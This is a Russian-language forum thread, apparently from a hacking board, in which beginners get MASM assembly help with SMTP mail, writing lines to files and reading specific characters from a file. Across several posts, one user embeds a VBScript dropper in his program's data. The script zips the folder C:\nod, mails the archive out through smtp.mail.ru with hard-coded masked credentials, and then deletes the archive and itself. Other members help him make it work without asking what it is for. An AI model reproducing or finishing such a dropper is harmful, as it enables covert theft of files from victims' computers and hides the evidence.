[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    MTV, работа с winsock + протокол SMTP
    вот пример отправки почты _http://wasm.ru/article.php?article=simplesmtp
     
  2. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    да сорец жестокий,только вот я что то там не узрел прикрепления файла...
     
  3. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    Я чуть-чуть подозреваю, что он находится в конце статьи, и судя по всему выглядит вот так:
    Но это всего лишь мои скромные догадки Т_Т
     
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    не ты не понял,я просмотрел исходник,я имею ввиду прикрепление файла в самой программе
     
  5. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Благодарю за ссылочку.А это только у меня 554 Ошибка синхронизации при отправление?Пробовал и програмно и вручную(
    А кто еще подскажет как можно из файла прочитать например только 5 строчку с 5 по 10 символы?
    И еще,ребят, как записать в фаил 2 строки к примеру,только что-бы каждая строка была в разных строчках!Делаю так:
    Code:
    .386
    .model flat, stdcall
    option casemap :none
    ;#######################################################
    include C:\masm32\include\windows.inc
    include C:\masm32\include\user32.inc
    include C:\masm32\include\kernel32.inc
    include C:\masm32\include\masm32.inc
    include C:\masm32\include\shfolder.inc
    
    
    includelib C:\masm32\lib\shfolder.lib
    includelib C:\masm32\lib\user32.lib
    includelib C:\masm32\lib\kernel32.lib
    includelib C:\masm32\lib\masm32.lib
    ;#######################################################
    .data?
    hfile_data dd ?
    .data
    file db 'C:\test.txt',0
    str1 db 'Stroka',0
    str2 db 'S SSTROKA',0
    chis db 6
    chis2 db 9
    .code
    start:
    en:
    invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov [hfile_data],eax
    invoke SetFilePointer,hfile_data,0,0,FILE_BEGIN
    invoke WriteFile,hfile_data,offset str1,6,offset chis,0
    invoke WriteFile,hfile_data,offset str2,9,offset chis2,0
    invoke CloseHandle,hfile_data
    invoke ExitProcess,0
    end start
     
    #1005 MTV, 15 Jun 2011
    Last edited: 16 Jun 2011
  6. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    По стандарту ASCII, строки между собой разделяются двумя байтами 13d 10d (переход на новую строку и перевод каретки). Парсишь в строке байт 10d 4 раза, в итоге оказываешься на 5-ой строке. Затем добавляешь к этому адресу 5 и получаешь смещение начала 6-го символа. А там уже через movsb можно скопировать в буфер.

    Code:
    .data
    text	db 'aaaaaaaaaaaaaaaaaaaaaaa',13d,10d,'bbbbbbbbbbbbbbbb',13d,10d,'cccccccccccccccccccccc',13d,10d,'ddddddddddddddddddd',13d,10d,'eeeee55555eeeeeeeeeeeeee',0
    buff	db 6d dup(0)
    
    .code
    Main:
    	mov ecx,4d [COLOR=Lime];"номер строки - 1"[/COLOR]
    	mov edi,offset text
    	mov ax,10d
    	
    m1:
    	push ecx
    	xor ecx,ecx
    	dec ecx
    	clc
    	repnz scasb
    	pop ecx
    	loop m1
    
    	[COLOR=Lime];здесь ты уже на начале 5-ой строки[/COLOR]
    
    	add edi,5d [COLOR=Lime];номер символа в строке, от которого будем копировать[/COLOR]
    	xchg edi,esi
    	mov edi,offset buff
    	mov ecx,5d [COLOR=Lime];количество копируемых символов[/COLOR]
    	rep movsb
    	
    	push 0
    	push offset buff
    	push offset buff
    	push 0
    	call MessageBoxA
    	
    	push 0
    	call ExitProcess
     
    #1006 Sams, 16 Jun 2011
    Last edited: 16 Jun 2011
  7. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Ребят,ругается на эту строчку:
    Code:
    VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d
    dd 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d
    dd'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d
    dd 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d
    dd 'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d
    dd 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d
    dd 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d
    dd 'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d
    dd 'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d
    dd 'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d
    dd 'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d
    dd 'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d
    dd 'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d
    dd 'Call SendPost("smtp.mail.ru","*********","*******","Finich","Finich")',13d,10d
    dd 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d
    dd 'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d  
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',13d,10d
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="*********"',13d,10d
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d
    dd 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d
    dd 'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d
    dd 'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d
    dd 'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0
    Пишет:Constant value too large и
    initializer magnitude too large for specfied size.Что делать?
     
  8. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    ты пытаешься расписать весь вбс скрипт назвав только одну строку?и почему dd если db? и строка оканчивается нулем.
     
  9. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Я делал и вот так:
    Code:
    VBS0 dd 'Const FOF_SIMPLEPROGRESS = 256',13d,10d,'Dim MySource, MyTarget, MyHex, MyBinary,i',13d,10d,'Dim oShell,oCTF',13d,10d,'Dim oFileSys',13d,10d, 'dim winShell',13d,10d,'dim newfolderpath',13d,10d,'dim t',13d,10d,'On Error Resume Next',13d,10d,'dim filesys, newfolder',13d,10d,'newfolderpath = "C:\nod"',13d,10d,'set filesys=CreateObject("scripting.FileSystemObject")',13d,10d, 'If Not filesys.FolderExists(newfolderpath) Then',13d,10d,'Set newfolder = filesys.CreateFolder(newfolderpath)',13d,10d,'End If',13d,10d,'set filesys=Nothing',13d,10d,'Set newfolder=Nothing',13d,10d,'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',13d,10d, 'filePath = "C:\nod"',13d,10d,'MySource = filePath',13d,10d,'MyTarget = newfolderpath & "nod.zip"',13d,10d,'archPath_nod = "nod.zip"',13d,10d, 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',13d,10d,'For i = 0 To UBound(MyHex)',13d,10d,'MyBinary = MyBinary & Chr(MyHex(i))',13d,10d,'Next',13d,10d,'Set oShell = CreateObject("Wscript.Shell")',13d,10d,'Set oFileSys = CreateObject("scripting.FileSystemObject")',13d,10d,'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',13d,10d,'oCTF.Write MyBinary',13d,10d,'oCTF.Close',13d,10d,'Set oCTF = Nothing',13d,10d,'set winShell = createObject("shell.application")',13d,10d,'winShell.namespace(MyTarge,t).CopyHere MySource',13d,10d,'wscript.Sleep(5000)',13d,10d,'Set oFileSys = Nothing',13d,10d,'Set oShell = Nothing',13d,10d,'set WshShell = Nothing',13d,10d,'set WshShell1 = Nothing',13d,10d,'on error resume next',13d,10d,'Set S = CreateObject("Wsсriрt.Shell")',13d,10d,'set FSO=createobject("sсriрting.filesystemobject")',13d,10d,'Call SendPost("smtp.mail.ru","******","*********","Finich","Finich")',13d,10d,'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',13d,10d,'Set iMsg=CreateObject("CDO.Message")',13d,10d,'Set iConf=CreateObject("CDO.Configuration")',13d,10d,'Set Flds=iConf.Fields',13d,10d, 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',13d,10d,'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',13d,10d,'Flds.Update',13d,10d,'iMsg.Configuration=iConf',13d,10d,'iMsg.To=strTo',13d,10d,'iMsg.From=strFrom',13d,10d,'iMsg.Subject=strSubject',13d,10d,'iMsg.TextBody=strBody',13d,10d,'iMsg.AddAttachment"C:\nodnod.zip"',13d,10d,'iMsg.Send',13d,10d,'End Function',13d,10d,'Set iMsg=Nothing',13d,10d,'Set iConf=Nothing',13d,10d,'Set Flds=Nothing',13d,10d,'fso.deletefile "C:\nodnod.zip",1',13d,10d,'FSO.deletefile wscript.scriptfullname',0
    Показывает:Statement too comlpex и line to long.
     
  10. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    Запиши скрипт как строки просто

    VBS0 db 'Const FOF_SIMPLEPROGRESS = 256',0
    vbs1 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0
    и т.д.
     
  11. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Я так писал, а как мне потом записать их в фаил с новой строки?
    Вот как я делал:
    Code:
    s1 db 'Const FOF_SIMPLEPROGRESS = 256',0dh,0ah,0
    ss1 db 30
    s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i',0
    ss2 db 41
    s3 db 'Dim oShell,oCTF',0
    s4 db 'Dim oFileSys',0
    s5 db 'dim winShell',0
    s6 db 'dim newfolderpath',0
    s7 db 'dim t',0
    s8 db 'On Error Resume Next',0
    s9 db 'dim filesys, newfolder',0
    s10 db 'newfolderpath = "C:\nod"',0
    s11 db 'set filesys=CreateObject("scripting.FileSystemObject")',0
    s12 db 'If Not filesys.FolderExists(newfolderpath) Then',0
    s13 db 'Set newfolder = filesys.CreateFolder(newfolderpath)',0
    s14 db 'End If',0
    s15 db 'set filesys=Nothing',0
    s16 db 'Set newfolder=Nothing',0
    s17 db 'set WshShell1 = Wscript.CreateObject("Wsсriрt.Shell")',0
    s18 db 'filePath = "C:\nod"',0
    s19 db 'MySource = filePath',0
    s20 db 'MyTarget = newfolderpath & "nod.zip"',0
    s21 db 'archPath_nod = "nod.zip"',0
    s22 db 'MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)',0
    s23 db 'For i = 0 To UBound(MyHex)',0
    s24 db 'MyBinary = MyBinary & Chr(MyHex(i))',0
    s25 db 'Next',0
    s26 db 'Set oShell = CreateObject("Wscript.Shell")',0
    s27 db 'Set oFileSys = CreateObject("scripting.FileSystemObject")',0
    s28 db 'Set oCTF = oFileSys.CreateTextFile(MyTarget, True)',0
    s29 db 'oCTF.Write MyBinary',0
    s30 db 'oCTF.Close',0
    s31 db 'Set oCTF = Nothing',0
    s32 db 'set winShell = createObject("shell.application")',0
    s33 db 'winShell.namespace(MyTarget).CopyHere MySource',0
    s34 db 'wscript.Sleep(5000)',0
    s35 db 'Set oFileSys = Nothing',0
    s36 db 'Set oShell = Nothing',0
    s37 db 'set WshShell = Nothing',0
    s38 db 'set WshShell1 = Nothing',0
    str1 db 'on error resume next',0
    str2 db 'Set S = CreateObject("Wsсriрt.Shell")',0
    str3 db 'set FSO=createobject("sсriрting.filesystemobject")',0
    str4 db 'Call SendPost("smtp.mail.ru","********","*******","Finich","Finich")',0
    str5 db 'Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)',0
    str6 db 'Set iMsg=CreateObject("CDO.Message")',0
    str7 db 'Set iConf=CreateObject("CDO.Configuration")',0
    str8 db 'Set Flds=iConf.Fields',0
    str9 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2',0
    str10 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1',0
    str11 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="*********"',0
    str12 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="********"',0
    str13 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"',0
    str14 db 'Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25',0
    str15 db 'Flds.Update',0
    str16 db 'iMsg.Configuration=iConf',0
    str17 db 'iMsg.To=strTo',0
    str18 db 'iMsg.From=strFrom',0
    str19 db 'iMsg.Subject=strSubject',0
    str20 db 'iMsg.TextBody=strBody',0
    str21 db 'iMsg.AddAttachment"C:\nodnod.zip"',0
    str22 db 'iMsg.Send',0
    str23 db 'End Function',0
    str24 db 'Set iMsg=Nothing',0
    str25 db 'Set iConf=Nothing',0
    str26 db 'Set Flds=Nothing',0
    str27 db 'fso.deletefile "C:\nodnod.zip",1',0
    str28 db 'FSO.deletefile wscript.scriptfullname',0
    .code
    invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov [handle],eax
    invoke SetFilePointer,handle,0,0,FILE_BEGIN
    invoke WriteFile,handle,addr s1,30,addr ss1,0
    invoke WriteFile,handle,addr s2,41,addr ss2,0
    и т.д.
    invoke CloseHandle,handle
    Не получается((
     
  12. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    ну так тебе ж надо возврат каретки делать и перенос строки, для этого сделай еще одну переменную вида:
    cr db 0dh,0ah,0
    записуй в файл после каждой записи строки скрипта,выделяя по 2 байта в буфере
     
    #1012 DooD, 16 Jun 2011
    Last edited: 16 Jun 2011
  13. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    А ну с кареткой разобрался,спасибо.Вот посмотри, когда я записываю в фаил 1 и 2 строку у меня почему-то записывается в фаил null null null вместо слова.Вроде байты правильно расставляю.Вот отрывок кода:
    Code:
    .data?
    handle dd ?
    .data
    cr db 0dh,0ah
    cr1 db 2
    file db 'C:\nod.txt',0
    s1 db 'Const FOF_SIMPLEPROGRESS = 256',0
    ss1 db 31
    s2 db 'Dim MySource, MyTarget, MyHex, MyBinary,i,',0
    ss2 db 42
    .code
    invoke CreateFile,addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov [handle],eax
    invoke SetFilePointer,handle,0,0,FILE_BEGIN
    invoke WriteFile,handle,addr s1,31,addr ss1,0
    invoke WriteFile,handle,addr cr,2,addr cr1,0
    invoke WriteFile,handle,addr s2,42,addr ss2,0
    invoke CloseHandle,handle
    В фаил записывается:
    Code:
    Const FOF_SIMPLEPROGRESS = 256NULL
    NULLNULLNULLMySource, MyTarget, MyHex, MyBinary,i,
    Почему так?
     
  14. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    там не надо addr ss1. в этом флаге указатель на переменную, которая получает число записанных байтов. Если асинхронный буфер =0 (то есть последний флаг) то запись должна быть такая:
    переменная temp dd ?

    invoke WriteFile,handle,addr s1,31,addr temp,0
     
  15. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    Потому что это не ASCIIZ строка, она не должна заканчиваться нулевым байтом. Вместо него сделай 2 байта перевод на новую строку и перевод каретки.
    Т.е. вместо "file db 'C:\nod.txt',0" надо "file db 'C:\nod.txt',13d,10d" и так в каждой строке.
    А зачем вообще между строк "ss1 db 31" это к примеру? Пиши строки скрипта подряд. Потом в конце добавь константу
    Code:
    s_size equ ($-offset s1)
    и передай её, как количество записываемых байт, в WriteFile. Тогда тебе не нужно будет вызывать WriteFile много раз, а всего один.
     
  16. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Ребят а в чем тут проблема?
    Code:
    .386
    .model flat, stdcall
    option casemap :none
    ;#######################################################
    include C:\masm32\include\windows.inc
    include C:\masm32\include\user32.inc
    include C:\masm32\include\kernel32.inc
    include C:\masm32\include\masm32.inc
    
    
    includelib C:\masm32\lib\user32.lib
    includelib C:\masm32\lib\kernel32.lib
    includelib C:\masm32\lib\masm32.lib
    ;#######################################################
    .data?
    handle dd ?
    text db ?
    pr dd ?
    .data
    test1 db 'C:\test.ini',0
    buff	db 6d dup(0)
    .code
    start:
    invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,0,FILE_ATTRIBUTE_NORMAL,0
    	mov handle,eax
    	xor eax,eax
    invoke ReadFile,handle,addr text,109,addr pr,0
    invoke CloseHandle,handle
    	
    	mov ecx,5d ;"номер строки - 1"
    	mov edi,offset text 
    	mov ax,10d
    	
    m1:
    	push ecx
    	xor ecx,ecx
    	dec ecx
    	clc
    	repnz scasb
    	pop ecx
    	loop m1
    
    	;здесь ты уже на начале 5-ой строки
    
    	add edi,15d ;номер символа в строке, от которого будем копировать
    	xchg edi,esi
    	mov edi,offset buff
    	mov ecx,16d ;количество копируемых символов
    	rep movsb
    	push 0
    	push offset buff
    	push offset buff
    	push 0
    	call MessageBoxA
    	
    	push 0
    	call ExitProcess
    	end start
     
  17. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Когда запуская пишет:
    Code:
    Ошибка приложения
    Инструкция по адресу "0х0040105а обратилась к памяти по адресу "0х00404000".Память не может быть "read".
     
  18. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    А я хочу прочитать из файла 16 симолов, которые находятся на 5 строке начиная с 15 символа.Что не кто не знает?? :rolleyes:
     
    #1018 MTV, 17 Jun 2011
    Last edited: 19 Jun 2011
  19. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Ребят че я опять не так делаю?Хочу прочитать из файла!Вот код:
    Code:
    .386
    .model flat, stdcall
    option casemap :none
    ;#######################################################
    include C:\masm32\include\windows.inc
    include C:\masm32\include\user32.inc
    include C:\masm32\include\kernel32.inc
    include C:\masm32\include\masm32.inc
    
    
    includelib C:\masm32\lib\user32.lib
    includelib C:\masm32\lib\kernel32.lib
    includelib C:\masm32\lib\masm32.lib
    ;#######################################################
    .data?
    handle dd ?
    text db ?
    pr dd ?
    size1 dd ?
    .data
    test1 db 'C:\test.txt',0
    .code
    start:
    invoke CreateFile,offset test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
    	mov [handle],eax
    invoke GetFileSize,[handle],0
    mov [size1],eax
    invoke ReadFile,[handle],offset text,[size1],addr pr,0
    invoke CloseHandle,handle
    invoke MessageBox,0,addr text,addr text,MB_OK
    invoke ExitProcess,0
    end start
     
  20. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    Code:
     
    .386
    .model flat, stdcall
    option casemap :none
    ;#################################################  ######
    include include\windows.inc
    include include\user32.inc
    include include\kernel32.inc
    include include\masm32.inc
    
    
    includelib lib\user32.lib
    includelib lib\kernel32.lib
    includelib lib\masm32.lib
    ;#################################################  ######
    .data?
    handle dd ?
    text dd 256 dup (?)
    pr dd ?
    size1 dd ?
    .data
    test1 db 'C:\cmdbar.ini',0
    .code
    start:
    invoke CreateFile,addr test1,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
    	mov handle,eax
    invoke GetFileSize,handle,0
    
    invoke ReadFile,handle,addr text,eax,addr pr,0
    invoke CloseHandle,handle
    invoke MessageBox,0,addr text,addr text,MB_OK
    invoke ExitProcess,0
    end start;This program was created on assembler editor
    
    не понял причем тут скобки были.
    скобки нужны чтобы поместить значение по адресу расположенном в регистре.
    не понял к чему тут ето было
    mov [size1],eax
    почему перед [size1] в readfile нету addr?
    пиши вместо offset addr ты ж сам себя путаешь,и смотри почаще в справочник апи.даже ж буфер не указал...
     
    #1020 DooD, 19 Jun 2011
    Last edited: 19 Jun 2011